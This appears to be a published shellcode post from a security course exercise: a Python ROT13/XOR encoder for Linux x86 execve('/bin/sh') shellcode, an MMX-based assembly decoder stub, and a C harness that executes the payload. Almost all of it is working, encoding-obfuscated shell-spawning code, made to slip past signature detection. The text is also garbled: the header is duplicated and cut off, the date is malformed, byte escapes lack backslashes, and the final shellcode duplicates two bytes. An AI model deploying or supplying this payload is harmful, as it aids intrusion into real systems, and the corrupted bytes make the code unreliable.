# Title: Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)
# Author: Kartik Durg
# Date: 201-10-04
# Shellcode Length: 104 BYTES
# Student-ID: SLA # Title: Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)
# Author: Kartik Durg
# Date: 201-10-04
# Shellcode Length: 104 BYTES
# Student-ID: SLAE-1233
# Write-up Link: https://iamroot.blog/2018/10/02/0x4-rot13_xor_encoder_mmx_decoder_shellcode-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)

-------------------------------------------------------------------------------------------------------------------------------------------------
a). Python script for encoder
-------------------------------------------------------------------------------------------------------------------------------------------------
#!/usr/bin/python

# ROT13 - XOR Encoder

#original execve-stack
shellcode =
("x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80")

rot = 13

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
#ROT-13
shell_rot = (x + rot)%256

# XOR Encoding
xor_rot = shell_rot^0xAA
encoded += '\x'
encoded += '%02x' %xor_rot

encoded2 += '0x'
encoded2 += '%02x,' %xor_rot

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))
-------------------------------------------------------------------------------------------------------------------------------------------------
OUTPUT:
-------------------------------------------------------------------------------------------------------------------------------------------------
Encoded shellcode ...
x94x67xf7xdfx96x96x2axdfxdfx96xc5xdcxd1x3cx5axf7x3cx45xcax3cx44x17xb2x70x27
0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27,
Len: 25
-------------------------------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------------------------------
b). Decoder for ROT13-XOR encoded shellcode using MMX instructions
-------------------------------------------------------------------------------------------------------------------------------------------------
global _start

section .text
_start:

jmp short call_decoder

decoder1:
pop edi ;"edi" now points to "xor_value"
lea esi, [edi +16] ;"esi" now points to "Shellcode"
xor ecx, ecx
mov cl, 4 ;Size of our shellcode is 25|"qword" operates 8bytes ata time
hence 4*8=32|"loop" 4 times

XOR_decode:
movq mm0, qword [edi] ;move 8bytes of "xor_value" to mm0
movq mm1, qword [esi] ;move 8bytes of "Shellcode" to mm1
pxor mm0, mm1 ;Perform XOR operation
movq qword [esi], mm0 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop XOR_decode ;loop 4 times

decoder2:
lea edi, [edi +8] ;"edi" now points to "rot_value"
lea esi, [edi +8] ;"esi" now points to "Shellcode"|"Shellcode" contains
previous XOR'ed results
xor ecx, ecx
mov cl, 4 ;"loop" 4 times

ROT_decode:
movq mm2, qword [edi] ;move 8bytes of "rot_value" to mm2
movq mm3, qword [esi] ;move 8bytes of "Shellcode" to mm3
psubb mm3, mm2 ;Subtract 13 from "Shellcode"
movq qword [esi], mm3 ;overwrite the "Shellcode" with previous results
add esi, 0x8 ;now "esi" points to next 8bytes of "Shellcode"
loop ROT_decode ;"loop" 4 times
jmp short Shellcode ;Execute decoded shellcode

call_decoder:

call decoder1
xor_value: db 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa
rot_value: db 13, 13, 13, 13, 13, 13, 13, 13
Shellcode: db
0x94,0x67,0xf7,0xdf,0x96,0x96,0x2a,0xdf,0xdf,0x96,0xc5,0xdc,0xd1,0x3c,0x5a,0xf7,0x3c,0x45,0xca,0x3c,0x44,0x17,0xb2,0x70,0x27
-------------------------------------------------------------------------------------------------------------------------------------------------

-------------------------------------------------------------------------------------------------------------------------------------------------
c). Shellcode.c
-------------------------------------------------------------------------------------------------------------------------------------------------
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"xebx36x5fx8dx77x10x31xc9xb1x04x0fx6fx07x0fx6fx0ex0fxefxc1x0fx7fx06x83xc6x08xe2xefx8dx7fx08x8dx77x08x31xc9xb1x04x0fx6fx17x0fx6fx1ex0fxf8xdax0fx7fx1ex83xc6x08xe2xefxebx15xe8xc5xffxffxffxaaxaaxaaxaaxaaxaaxaaxaax0dx0dx0dx0dx0dx0dx0dx0dx94x67x94x67xf7xdfx96x96x2axdfxdfx96xc5xdcxd1x3cx5axf7x3cx45xcax3cx44x17xb2x70x27";

main()
{
printf("Shellcode Length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
-------------------------------------------------------------------------------------------------------------------------------------------------